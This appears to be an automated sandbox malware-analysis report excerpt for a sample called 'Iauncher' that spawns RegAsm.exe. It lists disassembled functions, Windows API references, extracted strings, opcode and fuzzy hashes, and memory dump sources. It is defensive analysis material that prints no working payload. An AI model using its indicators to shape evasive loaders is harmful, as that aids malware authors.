Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 56ab0aa4ea0e4f01f57d60bea57bd33e0285e0c2ef34f3ed4c7cfa3d7ba4a0b1
Instruction ID: 4639e12f61cbd439b1e0bd5aaad5e678c55ab548b5e0dd4d35ba70440891d702
Opcode Fuzzy Hash: 56ab0aa4ea0e4f01f57d60bea57bd33e0285e0c2ef34f3ed4c7cfa3d7ba4a0b1
Instruction Fuzzy Hash: 3A01A732500515ABCB15ABA4D81A8AE7F78FFD1760F640558FD01AB290EB71DE41DB84

Uniqueness

Uniqueness Score: -1.00%

Function 00561D84 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00561D90
int.LIBCPMT ref: 00561DA3

Part of subcall function 00562577: std::_Lockit::_Lockit.LIBCPMT ref: 00562588
Part of subcall function 00562577: std::_Lockit::~_Lockit.LIBCPMT ref: 005625A2

std::_Facet_Register.LIBCPMT ref: 00561DD6
std::_Lockit::~_Lockit.LIBCPMT ref: 00561DEC

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 0ad77154c395b2b4faac93a51f0c77427f1d4eca8267b441787550c286964a38
Instruction ID: 750c7d248d1be03336e51b146f448a87ac55eb7ee91901ae8768833d2884c627
Opcode Fuzzy Hash: 0ad77154c395b2b4faac93a51f0c77427f1d4eca8267b441787550c286964a38
Instruction Fuzzy Hash: 9901A276900915ABCB15AB94D81A8BD7F78FFD0760F240158F902AB291EB309E81DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00580A5F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,0057F92B,00000000,00000001,00000000,00000000,?,00577C6D,00000000,00000000,00000000), ref: 00580A76
GetLastError.KERNEL32(?,0057F92B,00000000,00000001,00000000,00000000,?,00577C6D,00000000,00000000,00000000,00000000,00000000,?,005781F4,00000000), ref: 00580A82

Part of subcall function 00580A48: CloseHandle.KERNEL32(FFFFFFFE,00580A92,?,0057F92B,00000000,00000001,00000000,00000000,?,00577C6D,00000000,00000000,00000000,00000000,00000000), ref: 00580A58

___initconout.LIBCMT ref: 00580A92

Part of subcall function 00580A0A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00580A39,0057F918,00000000,?,00577C6D,00000000,00000000,00000000,00000000), ref: 00580A1D

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,0057F92B,00000000,00000001,00000000,00000000,?,00577C6D,00000000,00000000,00000000,00000000), ref: 00580AA7

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 6bd3c4b01243ecf48f62f74adc142f05e62a0c4896a88bd9eb049e142ab70a95
Instruction ID: 5b4d81848ed9cd4472a802ee1dfcc771884781c6f16a722b78818cded68f12e1
Opcode Fuzzy Hash: 6bd3c4b01243ecf48f62f74adc142f05e62a0c4896a88bd9eb049e142ab70a95
Instruction Fuzzy Hash: 4FF01C36500269BBCFA62FD5EC4D98A3F66FB697A1F045010FE19B5160D6328824EF90

Uniqueness

Uniqueness Score: -1.00%

Function 00581803 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0058116F), ref: 0058181C

Strings

TzX, xrefs: 005819B1
SV, xrefs: 005818E6, 00581990, 005819D6

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: TzX$SV
API String ID: 3527080286-1236136107
Opcode ID: 7c80f87416e6139804db78f77dbd256dbf4af03e5dc512c1bd1bf62e3311810b
Instruction ID: f7cfe5147d7bae5ab35e00dab92ec7de00d1bc51538985272cd1c09928592fcb
Opcode Fuzzy Hash: 7c80f87416e6139804db78f77dbd256dbf4af03e5dc512c1bd1bf62e3311810b
Instruction Fuzzy Hash: 7F518C70904E0ECBCF14AFA9D89C1ADBFB8FB09310F114585EC91B6254CB748A6ADF58

Uniqueness

Uniqueness Score: -1.00%

Function 00569D8D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00569DB2

Strings

RCC, xrefs: 00569DCC
MOC, xrefs: 00569DC4

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 61a25bfb5816decf72d7ae005e283730cfd82f7dd0b7af56615de460becc5959
Instruction ID: f9f05d471e612532b99d77f0d8d5a59de8ff6dbb97ef4ea15a5c70aba94e3816
Opcode Fuzzy Hash: 61a25bfb5816decf72d7ae005e283730cfd82f7dd0b7af56615de460becc5959
Instruction Fuzzy Hash: 2841487290020AAFCF15DF94C985AEEBFB9FF48300F188199FA05A7261D7369D50DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0056A722 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,0056A89D,00000002,FlsGetValue,00585D40,FlsGetValue,00000000,?,0056972D), ref: 0056A7A5
GetProcAddress.KERNEL32(00000000,00000000), ref: 0056A7AF

Strings

@]X, xrefs: 0056A78B

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: AddressFreeLibraryProc
String ID: @]X
API String ID: 3013587201-3850284557
Opcode ID: 41c81863bd52c15431092e99393f6ce71de39057c2df35b8bd0b30d0a0a8676c
Instruction ID: 75b590781efe113c335f19460a488d93426bb140769538ff9264899e8142fd47
Opcode Fuzzy Hash: 41c81863bd52c15431092e99393f6ce71de39057c2df35b8bd0b30d0a0a8676c
Instruction Fuzzy Hash: 07117C356002159F9F23CF64DC8099A7BB5FB593607240269EA05FB250E630ED01DF92

Uniqueness

Uniqueness Score: -1.00%

Function 005646BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005646C7
std::_Lockit::~_Lockit.LIBCPMT ref: 00564723

Strings

SV, xrefs: 005646EE, 00564708

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: SV
API String ID: 593203224-4155469514
Opcode ID: 9ebf8ef5dde649dfa98eb3ae28a8a914d7d967ef588709bfe9ae805a4744396e
Instruction ID: 8c28116ec6bb0e953ba56d922f4cd9078597f1a86702dc84e4427da3a1580ff0
Opcode Fuzzy Hash: 9ebf8ef5dde649dfa98eb3ae28a8a914d7d967ef588709bfe9ae805a4744396e
Instruction Fuzzy Hash: F5018035A00115DFCB00DB14C899E597BB8FF95750B150099E802AB360DB70ED85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00568E4C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,?,00564457,?,0058CDB4,?), ref: 00568EAC

Strings

WDV, xrefs: 00568E93
SV, xrefs: 00568E7C

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID: WDV$SV
API String ID: 3997070919-2958620284
Opcode ID: 964d3d51ec5572e13a8cb3816b6fe97af5d5de74a2a0bcec7c1782c5ee5c0b83
Instruction ID: 2e48817d100eb1baa4271c46d08f14970547fe883a3c0127d0eaddd62039c52f
Opcode Fuzzy Hash: 964d3d51ec5572e13a8cb3816b6fe97af5d5de74a2a0bcec7c1782c5ee5c0b83
Instruction Fuzzy Hash: D401A7759002099BCB019F98D844BAEBFB8FF84700F154159EE15AB351DBB1DD01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00561FF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00562000
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00562038

Part of subcall function 0056472C: _Yarn.LIBCPMT ref: 0056474B
Part of subcall function 0056472C: _Yarn.LIBCPMT ref: 0056476F

Strings

bad locale name, xrefs: 00562046

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: a2f487b2f4db40b38ff8e6d1fd005f3ed1a97e0f72b65466da6272b6b4435850
Instruction ID: 8419c8cb1220260932f8266ca9ccb13a67fc5ce0c40649da82222d9a76e32e85
Opcode Fuzzy Hash: a2f487b2f4db40b38ff8e6d1fd005f3ed1a97e0f72b65466da6272b6b4435850
Instruction Fuzzy Hash: 72F01771505B419E83319F7A8485447FFE4BE292617908A2EE0DEC3A11D730E404CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00575D94 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?), ref: 00575DD4

Strings

InitializeCriticalSectionEx, xrefs: 00575DA4
SV, xrefs: 00575DC4

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$SV
API String ID: 2593887523-44730804
Opcode ID: 8c8694658975a6b702c091ce800f87ba47de0a676ef4a2313cf661d4381fc6f4
Instruction ID: 5158e83d3eab3248a881c4223b7e1689a1ae63187f46c3dd16342c70fe845ed0
Opcode Fuzzy Hash: 8c8694658975a6b702c091ce800f87ba47de0a676ef4a2313cf661d4381fc6f4
Instruction Fuzzy Hash: 7AE09232540618BBCB222F61EC0DD9E7F12FB64B61F008011FD1C35160DAB28961FBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00575C1A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00575C4E

Strings

FlsAlloc, xrefs: 00575C2A
SV, xrefs: 00575C44

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: FlsAlloc$SV
API String ID: 2773662609-3610419160
Opcode ID: af75b8e8c813980579d55d7d88b55314906bc3455e2661701a8f238933d8b4d7
Instruction ID: 291396c900420a76017685ba6190bbf4957a7448f2fa597158d44a793d1a3bc9
Opcode Fuzzy Hash: af75b8e8c813980579d55d7d88b55314906bc3455e2661701a8f238933d8b4d7
Instruction Fuzzy Hash: 8BE0C231A80B2977C6123391AC0EFAE7D48FB60BA1B554020FD0879140ADE51D41FBD2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exePID: 7324, Parent PID: 7256COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	95
Total number of Limit Nodes:	10

Executed Functions

Function 05DA3F50 Relevance: 1.8, Strings: 1, Instructions: 530
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 05DA41E4

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: $q
API String ID: 0-1301096350
Opcode ID: 75a650d28dca044575ba05d986a16243d28c9ff65e38a7b6c251a4bbea02259e
Instruction ID: 9889abd4a53638a3ee4f17a0b70df3ef39d768685ad48d2c7e3c83b714b1fd22
Opcode Fuzzy Hash: 75a650d28dca044575ba05d986a16243d28c9ff65e38a7b6c251a4bbea02259e
Instruction Fuzzy Hash: 9E128235B002159FDB14DF79D884A6EBBF6BF88710B14816AE406EB365DB71DC42CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05DAA3D8 Relevance: 1.5, Strings: 1, Instructions: 295COMMON

Download Yara Rule

Strings

lldate, xrefs: 05DAA566

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: lldate
API String ID: 0-434904232
Opcode ID: d91c401831b6e0086623b35214f7c4985ac6f7c9e03afa132e23743754f41126
Instruction ID: fa47a6608bca6d6dcd2781f433b616faa0a7620732673a0501adbc8f5658cb8c
Opcode Fuzzy Hash: d91c401831b6e0086623b35214f7c4985ac6f7c9e03afa132e23743754f41126
Instruction Fuzzy Hash: 9BD1D334910218CFCB14EFB5D8556ADBBB2FF8A306F5081AAE44AAB354DF319985CF11

Uniqueness

Uniqueness Score: -1.00%

Function 05DAA3E8 Relevance: 1.5, Strings: 1, Instructions: 289COMMON

Download Yara Rule

Strings

lldate, xrefs: 05DAA566

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: lldate
API String ID: 0-434904232
Opcode ID: 90a543fcafe6dc9f8759154a1fa94310ab6c397acbde18cd57b74afb7e19d293
Instruction ID: b4da2f82f67a86ad47548fb5d56e80751fb1711af234fae80362bc9f2d1fe370
Opcode Fuzzy Hash: 90a543fcafe6dc9f8759154a1fa94310ab6c397acbde18cd57b74afb7e19d293
Instruction Fuzzy Hash: 53D1D234910218CFCB14EFB5D8556ADBBB2FF8A306F5081AAE44AAB254DF319985CF11

Uniqueness

Uniqueness Score: -1.00%

Function 05DA67D8 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12186df75bc4110326acd1d33c8db9d7c627982ab1a393e1e846e916295cb4ff
Instruction ID: cb45a4227ad4a3843db80e3b056103401eca0890eb8c0c658c138e8a61d54ca0
Opcode Fuzzy Hash: 12186df75bc4110326acd1d33c8db9d7c627982ab1a393e1e846e916295cb4ff
Instruction Fuzzy Hash: 51227E72A00215DFDB15DF64D880BAEBBF2FF84310F19856AE5059B2A1DB30ED46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05D81070 Relevance: 10.4, Strings: 8, Instructions: 378
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 05D81430
$q, xrefs: 05D81461
$q, xrefs: 05D81455
$q, xrefs: 05D81336
$q, xrefs: 05D813AC
$q, xrefs: 05D8137B
$q, xrefs: 05D813A0
$q, xrefs: 05D813EB

Memory Dump Source

Source File: 0000000D.00000002.1445005438.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5d80000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-3886557441
Opcode ID: b3f6c4ad339cbd6b088e061fc0b15308e14e249d7091ed6a00bcd1d2c1efe853
Instruction ID: ad77dacde219df57047c9cb3558273363ba69aee36140b83bef14fe5382394e7
Opcode Fuzzy Hash: b3f6c4ad339cbd6b088e061fc0b15308e14e249d7091ed6a00bcd1d2c1efe853
Instruction Fuzzy Hash: 0FD19034B006059FEB19ABA9D844A7A7BE7FF88600F15845BE506CB3A6CF74DC06CB51

Uniqueness

Uniqueness Score: -1.00%

Function 05D81582 Relevance: 7.8, Strings: 6, Instructions: 333
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 05D8182E
$q, xrefs: 05D81A57
$q, xrefs: 05D81A7C
$q, xrefs: 05D81A88
$q, xrefs: 05D81A12
$q, xrefs: 05D818E3

Memory Dump Source

Source File: 0000000D.00000002.1445005438.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5d80000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q
API String ID: 0-2069967915
Opcode ID: 736e329a6c58b634847e1e1b0f945f75d1890a4e2bb81910326ebf3d6cdf5aac
Instruction ID: 709b49863b74e2fbef2efbbba26737c7126dc135b5bfe069b0c52139c3fd0b62
Opcode Fuzzy Hash: 736e329a6c58b634847e1e1b0f945f75d1890a4e2bb81910326ebf3d6cdf5aac
Instruction Fuzzy Hash: 09C1AF34B002019FEB14ABA5C854B3AB7E7FF89600F15845AE5439B3A2DF75EC46CB51

Uniqueness

Uniqueness Score: -1.00%

Function 05D80597 Relevance: 1.7, Strings: 1, Instructions: 462
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ZmPj, xrefs: 05D8059C

Memory Dump Source

Source File: 0000000D.00000002.1445005438.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5d80000_RegAsm.jbxd

Similarity

API ID:
String ID: ZmPj
API String ID: 0-3525819835
Opcode ID: 3bc1e2da6cb1ea2d92ab149873fa45e3003b4a06ead42242416247d3344ddf4f
Instruction ID: f92fa560ed07128660163b8f600a75068257601a7bb94612055c5c25b4dc9549
Opcode Fuzzy Hash: 3bc1e2da6cb1ea2d92ab149873fa45e3003b4a06ead42242416247d3344ddf4f
Instruction Fuzzy Hash: FE028D30B007148FEB29AB65D858B3D7AB2FF86700F51895AD5039F3A1CB79ED058B85

Uniqueness

Uniqueness Score: -1.00%

Function 00BBAE30 Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00BBB086

Memory Dump Source

Source File: 0000000D.00000002.1436310922.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_bb0000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 5fc66518710da37dacc4d8355190e3bb9e0be94f752ce5b361c8a8adc7acbe8d
Instruction ID: 2f3b0be114016839571ad960cd2c1812b13b77a993aeadab53202c1e9d8dd776
Opcode Fuzzy Hash: 5fc66518710da37dacc4d8355190e3bb9e0be94f752ce5b361c8a8adc7acbe8d
Instruction Fuzzy Hash: 6C714A70A00B458FD724DF29D5417AABBF1FF88304F10896DE48AD7A50D7B5E845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 04940BFC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04944381

Memory Dump Source

Source File: 0000000D.00000002.1443456211.0000000004940000.00000040.00000800.00020000.00000000.sdmp, Offset: 04940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4940000_RegAsm.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
